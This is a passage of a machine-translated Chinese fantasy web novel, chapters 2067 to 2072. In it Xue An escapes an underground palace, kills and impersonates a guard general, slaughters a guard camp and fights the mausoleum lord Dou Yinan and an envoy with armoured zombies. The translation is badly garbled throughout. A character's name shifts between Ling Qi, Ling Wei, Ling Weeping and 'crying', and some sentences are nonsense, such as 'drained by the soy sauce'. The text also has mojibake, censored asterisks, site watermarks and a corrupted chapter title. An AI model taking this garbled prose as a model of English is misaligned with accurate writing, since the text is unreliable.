    But at this moment, only Xue An sneered slightly.


    "Is that the trick? Then you are too weak!"


    He said, but saw Xue An stepped on it.


    boom!


    Under one foot, the void vibrated.

 Chapter 2067： Shatter the Underground Palace

    Not only was it frontally harassed, but it was also sneaking close behind. All blood vessels were shaken to shatter at the same moment.


    In a moment, this heart curled up together, obviously extremely painful.


    But its reaction speed was extremely fast, and soon the brilliance on its body gradually faded, and it actually tried to escape.


    But Xue An did not give him this opportunity.


    Seeing Xue An''s figure flashed, the whole person came to this heart in an instant, and then raised his hand to grab into the void.


    puff!


    Xue Ansheng grabbed this heart that had been hidden for most of it.


    The blood vessels were waving frantically, like the last struggle of a dying person.


    But Xue An didn''t even blink his eyelids, and all the blood vessels that blasted off were chopped by sword light in an instant.


    Then Xue An''s arm used force, although slowly, but very firmly, slowly pulled out the heart from the void.


    During the whole process, because of this heart''s struggling, even the void was drawn out of cracks, which shows how powerful it is.


    But all the struggles were so pale in front of Xue An.


    Only hearing a muffled sound, this heart was pulled out by Xue An from the void.


    Looking at this heart again, it looks like an octopus out of water, its blood vessels contracting rapidly, enveloping itself firmly.


    Immediately afterwards, these blood vessels turned into a stiff gray, obviously extremely firm.


    But Xue An just smiled coldly at this, and then said lightly: "The turtle in the urn, do you want to resist it too?"


    The heart moved nothing.


    Guanghua flashed in Xue An''s eyes, "Very well, in this case, then I will fulfill you!"


    As he said, Xue An slowly raised the Tianzhu sword in his hand, pointed the tip of the sword directly at the heart, and then gave a cold cry.


    "broken!"


    puff!


    With the stab of this Tianzhu sword, the hard shell was easily cut open like tofu, and the blade went straight into it.


    In an instant, this heart struggled in extreme pain, and at the same time it made a crying sound like a baby, which made people feel compassionate when they heard it.


    But these tricks are useless to Xue An.


    Xue An even held the Tianzhu Sword very calmly, and then suddenly flipped his wrist.


    The sword body abruptly stirred in this heart, and blood burst out.


    It is strange that this blood did not flow into the void at all, but was directly absorbed by this Tianzhu sword.


    The entire sword body is like a desert that has been burned by the sun for countless years, sucking the blood with extreme thirst.


    The intensity is so great that you can even see the sight of the wisps of blood being sucked wildly by the Tianzhu sword with the naked eye.


    The heart began to scream desperately, and struggled hard, trying to get rid of the Tianzhu sword.


    But everything is in vain.


    The Tianzhu Sword is like a tarsal maggot, no matter how hard the heart struggles, it doesn''t move a bit, but increases the sucking force.


    at last.


    After a frantic struggle, the movement of this heart gradually stiffened, and at the same time the body began to shrink.


    But the momentum of Tianzhu Sword became stronger and stronger.


    In the end, the heart stopped completely after a moan of desperation, and then the heart began to crack.


    Bang!


    After all the blood was drained by the soy sauce, the heart was finally exploded into powder and vanished.


    In the dust of the sky, there was a bright sword light soaring into the sky, and after rotating around Xue An a few times, it hovered in front of him.


    Looking at this Tianzhu sword at this moment, there was basically no change, only a faint red pattern appeared on the sword.


    But the red lines are so faint, and even if you don''t look closely, you can''t find them at all.


    Xue An smiled at the sword repairmen.


    "Well, this passage has been removed, and it''s time to deal with that Dou Yinan!"


    Then Xue An raised his hand and gently held the Tianzhu Sword, his eyes became brighter.


    "Everyone will work together to break this underground palace, and then kill it!"


    With that, Xue An''s momentum began to rise steadily, and he reached an unimaginable situation in the blink of an eye.


    Under the violent power, even the void began to become unstable, and the pieces burst apart.


    Immediately afterwards, Xue An took a deep breath, and the violent air current swept across, as if the whole world had been blown by a hurricane.


    "cut!"


    Tianzhu Sword sent out a nearly transparent sword intent, slashing directly on the void in front of him.


    The first thing to be broken is the void that constitutes this underground palace world, which is easily crushed like an egg shell.


    But then, the violent sword intent slashed on a very hard barrier.


    Ding!


    After an imperceptible, crisp sound, countless sparks agitated in the big hole that burst open.


    That is the result of Xue An''s sword intent head-to-head with this barrier.


    When the sparks converged slightly, a deeper wound appeared on the originally emptied darkness in the big hole of the void.


    That was left behind by Xue An''s sword.


    However, it can be seen that this wound is healing rapidly.


    These sword repairers are not fools, so naturally they can''t just watch this happen.


    In fact, when Xue An''s sword was cut out, everyone was ready.


    It''s just that the sword power Xue An just displayed was too powerful, and it even concealed everyone''s sword intent.


    When Xue An''s sword intent had just dissipated, everyone''s attack also arrived.


    Although far less powerful than Xue An, the victory lies in a large number, so the momentum is quite shocking.


    But seeing countless sword lights condensed into a rainbow light, constantly bombarding this wound.


    The darkness was stirring endlessly, and the wound was gradually torn, and even a faint light appeared at the end of the darkness.


    But at this time, this wave of attacks by the sword repairmen was also nearing end.


    If this wave of attacks can''t completely tear this barrier, but waits for enough sword intent to accumulate, it will be a waste of all previous efforts.


    After all...Even Xue An could not be full of sword intent with every sword.


    But things are often like this. Victory is already in sight, but it''s just the slightest difference that makes you unable to do so. UU reading


    The void barrier has been torn to the limit, even if there is another sword light can completely defeat it.


    But helpless, at this time all the sword light has been cut off.


    Just when everyone was unwilling to face them, a group of figures suddenly rushed up, and then launched an attack on the void wound.


    Everyone was startled for a moment, and then there was a low uproar.


    Because the people who did it were those zombies.


    I saw them bombarding the wound frantically, and each blow would gradually expand the wound.


    Upon seeing this, Xue An couldn''t help showing a faint smile in his eyes.


    at the same time.


    When the last blow was blasted out, this void barrier let out an overwhelmed groan, and finally collapsed completely and turned into a huge hole.


    And looking out through the entrance of the cave, it was the scene of Xuanming Mausoleum outside the underground palace.

 Chapter 2068： Emissary

    At this moment, guarding the underground palace is the first **** general of Xuanming Mausoleum.


    To be honest, Ling Qi was extremely unwilling to be sent to do this job.


    Because in his opinion, this job is simply an insult to his strength and status.


    After all, what is there to guard this underground palace?


    No one can get out of anyone who is imprisoned unless the lord of the mausoleum speaks.


    Therefore, it is purely a waste of time to guard here, just change to another **** to complete the task.


    But helpless, this was an order issued by Dou Yinan himself, and he had to obediently execute it.


    Despite this, his heart is still full of resentment.


    Like now.


    Ling Wei leaned back on the recliner lazily, and after wiping the weapon carefully, he stretched his waist long, and then yawned boredly.


    "How long has passed since."


    A guard immediately bowed to the side, "Enlighten Lord God, you have guarded three tombs here!"


    The mausoleum is a unique time unit of Xuanming Mausoleum, and one mausoleum is equivalent to a day on the earth.


    When the three mausoleums had only passed, the helpless expression on Ling Qi''s face became thicker, and then he sighed slightly.


    "I really don''t know what the Lord of the Tomb thinks, he actually sent me to perform such a boring task."


    The guard dared not say anything.


    Because Xuan Mingling went up and down, no one dared to talk about Dou Yin''an secretly, not even a single word.


    That is to say, Ling Qi, who is the first **** general of Xuan Ming Ling, is qualified to complain.


    If this guard dared to do this, he would burst into death at that time.


    Although full of resentment, since Dou Yinan gave the order, Ling Qi must naturally shoulder this responsibility.


    So he stood up slowly and walked out.


    The guards immediately followed closely behind.


    Ling Qi stopped and stared behind him, "What are you doing?"


    "Naturally, you will patrol with you, Lord General!"


    "It''s alright, I''m just being bored. I just go around the underground palace a few times, so don''t follow it!"


    "But..." A guard looked hesitant, "What if you are in danger?"


    "Danger?" Ling Qi smiled back and raised his hand to the underground palace in front of him, "What can be dangerous? I said I don''t need to follow it or I don''t need to follow it, do you hear clearly?"


    With that said, the first **** general of Xuanming Mausoleum leisurely left the guard camp and flew to the underground palace in the distance.


    These guards did not dare to follow.


    Because who didn''t know that Ling Qishen would have a grumpy temper, if he angered him, his life would not be saved.


    What''s more, this underground palace is just as Ling Qi said, it can be said to be solid and there will never be any danger.


    So this Ling Qi started patrolling around the underground palace alone.


    It''s better to say it''s patrolling than just wandering.


    I saw this crying slowly walking around the underground palace, secretly calculating how to find someone to do it for him.


    After all, this job is really boring.


    At the same time, Ling Qi secretly slandered Dou Yinan a few words.


    In his opinion, his immediate boss was a little too careful.


    People have been imprisoned in the underground palace, it can be said to be foolproof, so why is it still guarding here?


    Could it be that he can still escape from the underground palace?


    What a joke!


    Just as the mocking color appeared on Ling Qi''s face, he thought Dou Yinan was completely worried.


    A big bag suddenly bulged on the underground palace not far from him, and then it burst silently.


    This burst did not stir up any waves, and did not even attract the attention of the guarding camp in the distance.


    Only Ling Qi witnessed the whole process.


    This caused him to be shocked, but as the first general of Xuan Ming Ling, his reaction was extremely quick.


    He saw the blood and cultivation level all over his body instantly climbed to the peak, and at the same time he took a deep breath, waiting for the attack.


    But just with a flick of a finger, the majestic momentum that had just condensed disappeared like a cloud of smoke.


    Because at this moment, an extremely indifferent and majestic voice came from behind his neck.


    "Don''t move, don''t shout, or your head should say goodbye to you!"


    Ling Qi froze in place for an instant, but he didn''t dare to turn his head, or even the slightest resistance.


    Because he could clearly feel that behind him, there was a seemingly unhappy power, but the turbulent power inside was watching him coldly.


    This feeling like a thorn on his back and a knuckle in his throat made his forehead instantly show cold sweat.


    "I...I won''t move or shout. As long as the adults can spare my life, I am willing to cooperate unconditionally!" Ling Qi gave in almost instantly.


    Xue An, standing behind him, smiled.


    He was not surprised by this crying reaction.


    Because this is the normal reaction of the heavenly powerhouse when facing danger.


    After all, in the eyes of these powerhouses, nothing is more important than their own lives.


    Sacrificing the ego like the Chinese people and fulfilling the righteous behavior of the whole nation will never be understood by them.


    "Where is Dou Yinan now?" Xue An said lightly.


    "He is now receiving guests in the banquet hall!" Ling Qi replied without hesitation.


    "Oh? Receiving guests? What kind of guests can be met by the lord of Xuan Ming Ling?" Xue An raised his eyebrows slightly.


    "It''s an envoy sent by the Palace of Human Beings, but I don''t know exactly what it is for!"


    Ling Qi replied honestly, and at the same time slanted his eyes, taking a peek at the ground beside him.


    There was a shadow standing proudly on the ground.


    Ling Qi licked his lips, then a look of shock appeared in his eyes.


    He originally thought there was at least one team behind him, because that power was too powerful.


    It''s so powerful that it doesn''t seem to be something a person can send out.


    But never expected that there was only one person standing behind him.


    What did he want to do after inquiring about the whereabouts of the lord? Will you just kill me?


    Just as his heart was up and down, Xue An was also taken aback for a moment, and immediately revealed a cold smile.


    "The messenger of the Palace of Human Emperor? Ha ha, it seems that your super sects are really stubborn, and they smell similar!"


    Speaking of the last time, the murderous intent in Xue An''s words was enough to make people tremble.


    This Ling sobbed even more shock immediately begged, "Don''t... don''t kill me! I am willing to cooperate with you in anything, as long as you can spare me!"


    "Oh? Anything? Are you sure?"


    Xue An''s voice came from behind, with a hint of playfulness.


    Ling Qi nodded without hesitation, "Yes!"


    At the same time he secretly gritted his teeth.


    No matter how humiliated, as long as you can survive, it is worth it.


    But at the moment he was ready, a hand suddenly appeared on his throat silently, and then snapped.


    Under the tremendous force that was enough to squeeze a mountain peak, Ling Qi felt that his eyes went black and immediately knew nothing.


    And at the moment when he was about to fall into eternal darkness, Xue An''s cold voice had also been heard.


    "Sorry, the only thing I want you to cooperate with is to let you die!"

 Chapter 2069： By name

    Xue An''s throat was squeezed by Xue An abruptly.


    The dead body fell to the ground.


    Then I saw the sword repairs and the zombies appearing in sequence.


    "My lord, what shall we do next? Shall we directly enter the Xuanming Tomb?" Ye Bufan asked respectfully.


    Xue An shook his head gently, "I just sealed the surrounding world and created the illusion that everything is business as usual, so Dou Yinan shouldn''t know what happened here."


    "And if you kill it like this, wouldn''t it be a horror? If he takes the opportunity to flee, it will be difficult to catch him again!"


    "Then you mean to say..."


    Xue An looked at the guarding camp in the distance, and said lightly: "It''s what you think!"


    Ye Bufan closed his mouth, then bowed his head deeply, "Humble and understand."


    Xue An smiled slightly, and then his figure shook, and the whole person instantly changed into crying appearance.


    Regardless, Xue An''s aura quickly changed.


    In the blink of an eye, a living "Ling Weeping" appeared in front of everyone again.


    "Let''s go!"


    With that said, Xue An took a step and walked to the guard camp in the distance.


    And just after he took a few steps, Ling Weeping corpse silently turned into powder, scattered between the sky and the earth.


    The sword repairmen followed silently behind, and Ye Kongming finally couldn''t help but whispered: "Grandpa, what is Master Xue planning to do? What do you understand?"


    Ye Bufan smiled, looked at Xue An''s back in admiration, and then whispered: "Nothing, you will understand soon!"


    Ye Kong obviously wanted to say something, but seeing the expression on his grandfather''s face, he couldn''t help closing his mouth very wisely.


    At the same time, in this guarding camp, the guards knew nothing about what had happened and were still waiting for Ling Weep''s return.


    Soon, Xue An appeared before the guarding camp.


    The guards did not notice the slightest strangeness, and all bowed to salute, "Master God!"


    Immediately afterwards, the high-ranking guards looked at the sword repairmen who followed Xue An with a look of consternation.


    "Master God, these are..."


    Xue An looked down at them coldly and suddenly waved.


    The entire guard camp was also tightly sealed, and then Xue An just smiled coldly.


    "Nothing, these people are just people who escaped from the underground palace!"


    what?


    As soon as these words came out, these guards were shocked and shocked.


    "Master God, how is this possible? Once the underground palace is closed, no one can open it unless ordered by the mausoleum, you..."


    Before the words fell, the head of the high-ranking guard suddenly fell off, and then Gu Lulu rolled away.


    The headless corpse fell on the ground, and the blood spread quickly.


    The guards were all startled, and they didn''t understand what was going on.


    at the same time.


    Xue An said slowly and logically: "I''m sorry, please borrow your item for a use!"


    When the words fell, countless sword lights exploded and rushed straight to these guards.


    There was almost no struggle, even the screams were only two or two.


    These guards became silly ghosts under the sword.


    In an instant, the entire guard camp became empty.


    A strong blood rushed into the sky. If Xue An hadn''t blocked the place in advance and concealed it, this blood qi alone would be enough to alarm the entire Xuan Ming Tomb.


    But now, the outside world knows nothing about it.


    Because in their divine mind perception, the entire guard camp is still peaceful.


    After Xue An had done all this, he turned to look at the Jian Xiu group and said indifferently: "Now, your identity is the guard who guards the camp, can you remember it?"


    Everyone understood what Xue An meant and nodded together.


    "Yes!"


    "I''ll remember it!"


    Xue An smiled faintly and waved casually.


    The divine mind that was so powerful that it was almost abnormal surging out, changed everyone''s appearance in an instant.


    Everyone was shaking.


    Xue An snapped his fingers at the corpse under his feet again.


    boom!


    The red flames rose into the sky, directly incinerating these corpses into nothingness.


    "Let''s go!"


    This time, Xue An led the sword repairmen who had been disguised as guards to the Xuanmingling Mountain Gate.


    And that is at this moment.


    In the banquet hall of Xuan Ming Ling, a feast has reached its climax.


    But seeing Yan Yan with a smile, a scene of drunken gold fans.


    of course.


    An identity like Dou Yinan is naturally impossible to appear in these low-end banquets.


    In fact, there is a special small room in this banquet hall. This is where the main banquet is located.


    now.


    Dou Yinan raised his glass to a handsome, extraordinary-looking man with a face full of spring breeze.


    "I didn''t expect that the Lord Luo would send the dignified Chief Guard to envoy to my Xuanming Mausoleum. This is really flattering for me!"


    The man also picked up the cup and replied with a salute, "Master Dou Ling is polite, I am just a sword of your majesty, wherever he asks me to go, I will go!"


    "That''s good!" Dou Yinan high-five and exclaimed, then drank the wine in one cup.


    The man also accompanied him to drink the cup.


    And if anyone else was there to see this man, they would definitely be shocked.


    Because the identity of this man is extremely special.


    Even among super sects like the Palace of Humans, they are considered to be second to none.


    As everyone knows, Luo Ruqing, the lord of the Palace of Human Emperor, is the twenty-eighth descendant of Palace of Human Emperor.


    But this man, who seemed to be not middle-aged, had served the head of the palace for more than three generations.


    Even if he is ruthless, he must be courteous.


    Because he is the chief guard of the Human Palace, Li Xuanyi who is in charge of the entire Human Palace.


    This identity is no wonder Dou Yin''an takes it so seriously.


    When Dou Yinan put down the wine glass in his hand, he couldn''t help but said in a deep voice: "Just now, the Chief Guard said, I also feel the same, that Xue An has indeed become a confidant of mine!"


    "But Xue An is very cunning, and has always refused to show up, but I don''t know how the Chief Guard and the Lord of the Palace planned?"


    "It''s very simple, this Xue An is out of ghosts, UU reading is probably impossible to catch him like this, but he has a weakness!" Li Xuanyi said lightly.


    "Oh? What weakness?"


    Li Xuanyi dipped the wine and wrote a word gently on the table.


    name!


    Dou Yinan looked thoughtfully.


    Li Xuanyi said indifferently: "This Xue An was once an immortal exalted. Although he fell behind, he returned again strongly. It can be seen that he is indeed extraordinary, but I have carefully studied his resume and working style and found this. It��s the best name for a person to win fame!"


    "So, as long as it is forced by name, it will definitely appear on its own initiative!"


    Dou Yinan''s eyes lit up, "Oh? By fame?"


    "That''s right!" Li Xuanyi nodded, "I waited for the news to be distributed and agreed on the time and place, and said that I would fight Xue An decisively, then he will definitely appear by then! By then..."


    There was a cold light in Li Xuanyi''s eyes, "As long as I wait and work together and set a trap in advance, Xue An will undoubtedly die!"

 Chapter 2070： Break into

    "it is good!"


    Dou Yinan patted the table very excitedly, "Just rely on these words to make a big splash! Come, I respect you for this cup!"


    Li Xuanyi smiled and picked up the wine glass, drank the glass, and then pointed out: "Master Dou Ling, when I came, I found that Xuan Ming Ling was heavily guarded up and down. Did something happen?"


    Dou Yinan laughed when he heard the words, then put down the wine glass, and said triumphantly: "Your Excellency Chief Guard does not know something, I also had a happy event in Xuan Mingling recently!"


    "Oh? What''s the happy event?" Li Xuanyi was taken aback for a moment, and then asked curiously.


    "Did you know the battle between Jian San and Li Jingxing some time ago?"


    "I have heard about it, but I heard that the results of this battle have not been announced, and even the participants in the meeting have not heard from them. There is a lot of rumors from the outside world because of this, and I don''t know what happened."


    "Hahahahaha!" Dou Yinan laughed for a while, "Of course those who attended the meeting will not hear from them, because they are now in my Xuanming Tomb!"


    "What?" Li Xuanyi''s expression changed suddenly, "right in Xuan Ming Tomb? Then where are they now?"


    "Your Excellency Chief Guard, don''t be nervous. These people have been locked up in the underground palace. They can be safe, and if I expected them well, they should be buried in the mouth of the monster by now!"


    With that said, Dou Yin''an triumphantly told the story.


    When he heard that the lord of the sword palace "Li Jingxing" had been imprisoned in the underground palace by Dou Yinan, Li Xuanyi couldn''t help but get up.


    "Is what Lord Dou Ling said is true?"


    "It''s true!" Dou Yinan said with a smile.


    Li Xuanyi was shocked and inexplicable, because he knew too much about the strength of this Li Jingxing.


    That is the dominant presence in kendo.


    If he were really trapped by Dou Yinan or even fell, it would definitely be a major event that would shake the entire heavens.


    "No, I want to report this matter to the palace master immediately!" Li Xuanyi suddenly stood still and said in a deep voice.


    "Hey, you don��t have to worry about your honor, Chief Guard." Dou Yinan said calmly, "I guess the time is almost up now. When the banquet is over, we will go to the underground palace to have a look, and then tell. It��s not too late to fall to the Palace Master!


    Although Li Xuanyi was extremely anxious, he was a guest at the moment, and Dou Yinan was the master.


    Since Dou Yinan had said so, he could only reluctantly sit back down.


    "Come on, let''s continue drinking!" Dou Yinan laughed.


    And at the same moment, Xue An led the sword repair industry into the Xuan Ming Tomb.


    "Master God!"


    "Have seen Lord God General!"


    Wherever he went, everyone greeted Xue Anshili, who had turned into a crying face.


    Xue An''s face was expressionless, and he didn''t even blink his eyelids.


    For this, these disciples of Xuan Ming Ling were not surprised.


    Because this Ling Qi is usually like this, defiant, arrogant and domineering.


    In this way, Xue An led the crowd to drive straight in and went straight to the outside of the banquet hall, before meeting the first person who dared to stop him.


    "Hey, who should I be? Turns out to be the first master of God! Why? Why did you run here without guarding the underground palace according to the order of the mausoleum?"


    After the guard heard a bitter voice, and then saw a dark-faced, plain-looking man walked out of the crowd.


    After seeing this man, Xue An''s eyes moved slightly.


    Because according to the memory of Ling Qi, this man is the second-ranked **** general in Xuan Ming Mausoleum, Xue Ya.


    At the same time he was also the enemy of Ling Weeping.


    The two are diametrically opposed because of the ranking of the generals.


    And he was actually sent here to guard the banquet hall.


    Being able to be entrusted with this task shows that Dou Yinan valued him very much.


    Moreover, this task can also get close to Dou Yinan, which is much stronger than Ling Wei who was sent outside to blow the air.


    No wonder he is so proud.


    These thoughts flashed through Xue An''s mind, and then he said indifferently: "I have something important to tell the mausoleum, and I will naturally come back."


    "Oh? What''s important? What''s important?" Xue Ya sneered.


    Xue An suddenly raised his eyes and glanced at Xueya coldly.


    The words behind Xueya swallowed back.


    Because Xue An''s eyes were really terrifying.


    It was terrible to the point where he was terrified.


    "Xueya, what do I want to do, do I still need to report to you?"


    With that said, Xue An took a step and walked inside.


    Xue Ya took a step back with a guilty conscience, but immediately thought of something, and once again blocked Xue An''s path, and then said with a smile.


    "Ling Qi, of course you don��t need to report to me what you are going to do, but you have to figure it out. Now that the mausoleum master is receiving the distinguished guest inside, if you run into him, even if you are the number one general, you can��t afford the consequences. Right!"


    Xue An stopped and seemed to be thinking about the words of Blood End.


    Seeing this, Xue Ya couldn''t help becoming more and more proud. He just wanted to say something next, but at this moment, but seeing Xue An stepping forward again, he ran straight into the blood.


    This Blood Horizon felt a powerful force attacking and directly knocked himself aside.


    Then Xue An drove straight in and went straight to the banquet hall.


    At the same time, Xue An''s indifferent voice came.


    "What are the consequences, you don''t bother to work hard!"


    Following the voice, Xue An came to the entrance of the banquet hall and stepped into it.


    Xue Ya looked at Xue An''s back with a stunned face, question marks in his heart.


    Although he and Ling Qi are rivals of life and death, he has never seen this arrogant Ling Qi.


    He dared to trespass to the banquet of the tomb master, could he be crazy?


    At this moment, Zhong Jianxiu walked behind Xue An into the banquet hall.


    This Xue Ya opened his mouth and just wanted to talk, but even after thinking of something, a sneer appeared in his eyes, and then he stepped aside and said nothing.


    at the same time. UU Reading


    Xue An walked into the banquet hall, then stood in front of the door, looking around the audience.


    The banquet hall where the laughter and laughter were originally quieted down, and the officials of the Royal Palace who followed Li Xuanyi and the elders of Xuanming Ling who were accompanying them all looked up.


    After seeing "Ling Weeping", these Xuanmingling elders couldn''t help showing indecision.


    One of the elders closest to the door said with a gloomy face: "Ling Qi, you are not guarding in the underground palace, what are you doing here? This is not where you should be, don''t hurry up!"


    The tone of the speech was extremely arrogant and rude.


    Because for these elders of Xuan Ming Ling, what the first **** is just a relatively good dog, and he is the master.


    As soon as the elder said, everyone in the entire banquet hall looked at Xue An with playful eyes.


    Especially the Bloody End who followed the crowd at the end, with a joking expression, ready to see how his old adversary made a shame in public.

 Chapter 2071： 1 to 2, the battle will start

    But the scene that happened next shocked everyone, and the sarcasm on Xue Ya''s face solidified.


    Because at this moment, Xue An suddenly waved his hand and drew it directly on the elder''s face.


    Snapped!


    After a loud and crisp sound, this elder Xuan Ming was caught off guard and flew out by a rigid fan, and rolled in the air several times before he threw himself to the ground.


    After landing, half of his face was shattered, and blood was dripping from his mouth and nose, which was extremely embarrassing.


    The audience was silent.


    Xue Ya''s mouth-opened boss stared blankly at the scene in front of him.


    In any case, he did not expect that his own enemy would be so arrogant and dare to slap the elder in the face.


    The elder was also stunned by the fan, and sat down on the ground, staring at Xue An blankly, and then gradually trembled all over, his eyes were cracked, his eyes were bloodshot.


    "you you����."


    Xue An was not moved at all, but said indifferently: "I have something important to tell the mausoleum, what are you, dare to stop me?"


    With that said, Xue An didn''t even look at the elder, and walked into the banquet hall.


    As far as the momentum is concerned, no one dares to stop.


    Not only that, Xue An also said lightly: "Control everyone, if anyone dares to change, kill without mercy!"


    Jian Zaixin, Jiujianxian Linghujue and others took the orders together, and then filed in, instantly controlling the situation in the banquet hall.


    You must know that although these elders are of high authority, their strength and cultivation are only ordinary.


    With the strength of Jiujianxian Linghujue and others, it is naturally effortless to control these wine pouches.


    Even the Second God General Xueya obediently bound his hands without any resistance.


    But he did this for a reason.


    Because he wanted to see what the end of Ling Weeping would end up.


    After all, the crime of trespassing in the banquet hall alone was enough for him to drink a pot, plus the following crimes, slamming Elder Fei Xuanming with one palm, it can be said that he will die.


    That''s why he sneered at Xue An''s back as he walked to the depths of the banquet hall, as if looking at a dead person.


    Dou Yinan was totally unaware of what happened in the banquet hall.


    Most of this was because of Xue An''s spiritual blockade, and part of the reason was that Dou Yinan was drunk.


    That''s right!


    The mausoleum master of the dignified Xuanming Mausoleum, a top immortal emperor-level powerhouse, was so drunk at this moment that he patted Li Xuanyi''s shoulder and said with a smile.


    "Brother Li, to be honest, I really admire you, brother, for being able to serve the three Royal Palace Masters in succession, but still as stable as Mount Tai, without arousing any suspicion, the method is really serious."


    These words seem to be complimenting Li Xuanyi, but in fact there is something in the words.


    But Li Xuanyi just chuckled when he heard the words, "Master Dou Ling is serious, and I can stand tall in the Palace of Human Emperors, shouldn''t it be the hearts of several hall masters that should be admired?"


    This answer cleverly avoided Dou Yinan''s topic.


    "Hahahaha!" Dou Yinan laughed for a while, "Yes, that''s right, you see I really drank too much, why didn''t I expect this! Come on, this cup is for the Lord of the Lord!"


    The two were about to toast.


    But at this moment, the door of this small hall was suddenly pushed open from outside.


    Then Xue An stepped into it.


    Dou Yinan couldn''t help his face sinking when he saw that it was his subordinates who came in and sobbed.


    "What are you doing here? Who made you come?"


    Under his drunken eyes, Dou Yinan didn''t notice anything unusual.


    Xue An smiled faintly, then closed the door casually.


    "I came here, naturally for a reason!"


    Dou Yinan was shocked as soon as he said this, and his whole body instantly became sober.


    "No, you are not Ling Qi, who are you?"


    With the voice, the majestic immortal emperor''s power has already struck, and the power is strong enough to directly shake the general strong into powder.


    But Xue An didn''t even blink his eyes, and this power was completely vanished as soon as he rushed to the front.


    Immediately afterwards, Xue An said slowly: "You kept me in the underground palace, and now you are asking who am I?"


    Dou Yinan''s eyes widened instantly.


    Li Xuanyi blurted out, "Are you Li Jingxing?"


    Xue An turned to look at this Li Xuanyi, a cold light flashed in his eyes, "Human Emperor Hall?"


    Li Xuanyi did not say a word, but stepped back a little.


    At this time, Dou Yinan couldn''t help but said: "This is impossible, no one can escape from the underground palace, and you are not trapped..."


    Speaking of this, Dou Yinan was startled and closed his mouth quickly.


    Because he did not hesitate to sell the corpses of Xuanmingling''s ancestors to aliens and transform them into zombies for his own personal benefit.


    After all, this has touched the bottom line of life.


    But Xue An only smiled when he heard this, "Are you talking about them?"


    As he said, Xue An raised his hand, and the Buddha Kingdom in his palm was instantly opened, and then a dozen zombies flew out of it, with ghosts in his eyes, staring at this Dou Yinan.


    Upon seeing this scene, Dou Yinan couldn''t help panicking even more.


    But soon, he calmed down, and then a strange laugh.


    "I really didn''t expect that you can escape even such a desperate situation, you really deserve to be the lord of the sword palace!"


    "But do you think what can happen to me if I can escape from the underground palace? You are too naive!"


    As he said, Dou Yinan glanced at Li Xuanyi beside him, "Your Excellency Chief Guard, this person has no relationship with the Red Lotus Immortal Venerable. If you want to deal with Xue An, you must first get rid of him, so at this moment we must Join forces to kill it!"


    Li Xuanyi was silent, but the rising momentum on his body had already indicated his attitude.


    Li Xuanyi''s strength is naturally inferior to Dou Yinan but as the chief guard of the Human Emperor Palace, he also has a strength comparable to the Immortal Emperor.


    Now that the two of them joined forces, the powerful power instantly shattered this small space.


    Everyone in the banquet hall only heard a loud noise, and then they saw three people facing each other in the sky.


    But this scene only lasted for a few moments, and then Xue An sneered, and the brilliance suddenly burst in his eyes.


    "Arsenal...open!"


    With an order, a black hole and empty passage suddenly appeared above the banquet hall, and the huge suction directly sucked Xue An, Dou Yinan, Li Xuanyi and these zombies into it.


    Immediately afterwards, this channel quickly converged and disappeared in a moment.


    Only the shocked people were left standing there blankly, completely unaware of what happened.


    After a long time, the **** end swallowed his saliva and whispered in horror.


    "This...what the **** is going on? What about the Tomb Master?"

 Chapter 2072： Outside of 吃 艒

    Yes, where is the Tomb Master?


    This question also emerged in the hearts of the Xuan Ming Ling disciples present.


    As for the envoys of the Human Emperor Palace, they were thinking with a dazed expression about where the guards of his house had gone!


    But no matter how confused these people were, under the strong pressure of Jian Zaixin and Ling Hujue and others, they could only bow their heads obediently and waited silently.


    At the same time, in that arsenal.


    A shocking battle also unfolded.


    Bang bang bang!


    With a dull loud noise, the zombies who were fighting Dou Yinan were shaken out one after another.


    Among them, the most seriously injured, even his arms were shaken off, leaving only bare shoulders and bare gray bone stubble.


    "Jiejie, Li Jingxing, do you really think what can happen to me with these guys who eat inside and out? You are too naive!" Dou Yinan laughed strangely.


    "Eating inside and out?" Xue An laughed blankly, "Anyone in the world can say this, but you are not qualified."


    "What do you mean by this?" Dou Yinan''s face fell gloomy.


    "Because you can sell the corpses of your own ancestors unscrupulously, what qualifications do you have to say that others eat inside and out?" Xue An said coldly.


    Dou Yinan''s complexion was green and red, very ugly.


    Because what Xue An said happened to be his shortcomings, he couldn''t help laughing out of his anger.


    "Even if I betrayed, what can I do? That is the ancestor of my Xuan Ming Ling, what does it have to do with you? And these guys may be more willing, after all, this is a comeback!"


    "Resurrection from the dead? To be a slave to others, is this also resurrection from the dead?" Xue An sneered, then raised his hand to the zombies.


    "And have you ever thought about it, if they are happy, how can they cooperate with me and turn around to deal with you?"


    "Stop talking nonsense, today either you die or I die, brother Li, let''s go together, and it will end up with this kid''s life first!"


    When the words were over, Dou Yinan''s whole body was boiling, and rumbling over like a chariot.


    Li Xuanyi followed closely, and the two jointly launched a lore against Xue An.


    A top immortal emperor, a super powerhouse who was only a little short of entering the immortal emperor, the coercion created by the two combined blows was enough to directly shatter the ordinary immortal king.


    But Xue An stood calmly in the mighty power of the stormy waves, and even the sneer at the corner of his mouth did not change at all.


    Dou Yinan couldn''t help being overjoyed when he saw that Xue An didn''t respond.


    No one can despise himself so much, even the original Red Lotus Immortal Venerable. So in his eyes, this man is definitely dead.


    But just when this power is about to touch Xue An''s body, and even blow his hair up.


    Xue An said slowly: "If he wants to get rid of the shackles, he must die, so now I give you this opportunity!"


    Words fall.


    This arsenal trembled suddenly and directly shook Dou Yinan and Li Xuanyi back.


    Then a dozen radiant brilliance flew directly from the depths of the arsenal, and after a few laps around the dozen zombies, they suddenly dived down.


    boom!


    These brilliance wrapped the zombies, and then heard the sound of gears turning.


    In an instant, the brilliance dissipated, and looking at these zombies, their appearance changed drastically.


    The tattered funeral clothing before was gone, replaced by pieces of armor exuding cold metallic luster.


    These armors tightly wrapped these zombies, and at the same time raised their aura to an unimaginable level.


    You must know that these zombies themselves are the tomb masters of Xuanming Tomb, and each of them was a top master during his lifetime.


    Although the strength after death has fallen by more than half, the realm is still there.


    So with the blessing of this soldier talisman battle armor, it is like a tiger with wings, and its strength has soared several times.


    In this way, these zombies, who were originally insignificant to the battlefield situation, have become powerful forces that can determine the final victory.


    Dou Yinan''s discoloration also changed upon seeing this.


    Because he really didn''t expect that Xue An would be able to come out like this.


    "What is this? What do you wear for these old immortals?" Dou Yinan screamed.


    Xue An said lightly: "It''s nothing, just a few armors, but it should be enough to take your life, and they should be happy to do it for me!"


    Dou Yinan didn''t speak, because at this moment, his face had become uglier than dead.


    He could clearly feel the hostility of these zombies towards him, especially the pair of eyes that were covered by visors and braved the blue ghost fire, and exuded extremely cold murderous aura.


    Under this confrontation, Dou Yinan, who was already a little guilty, couldn''t help shaking.


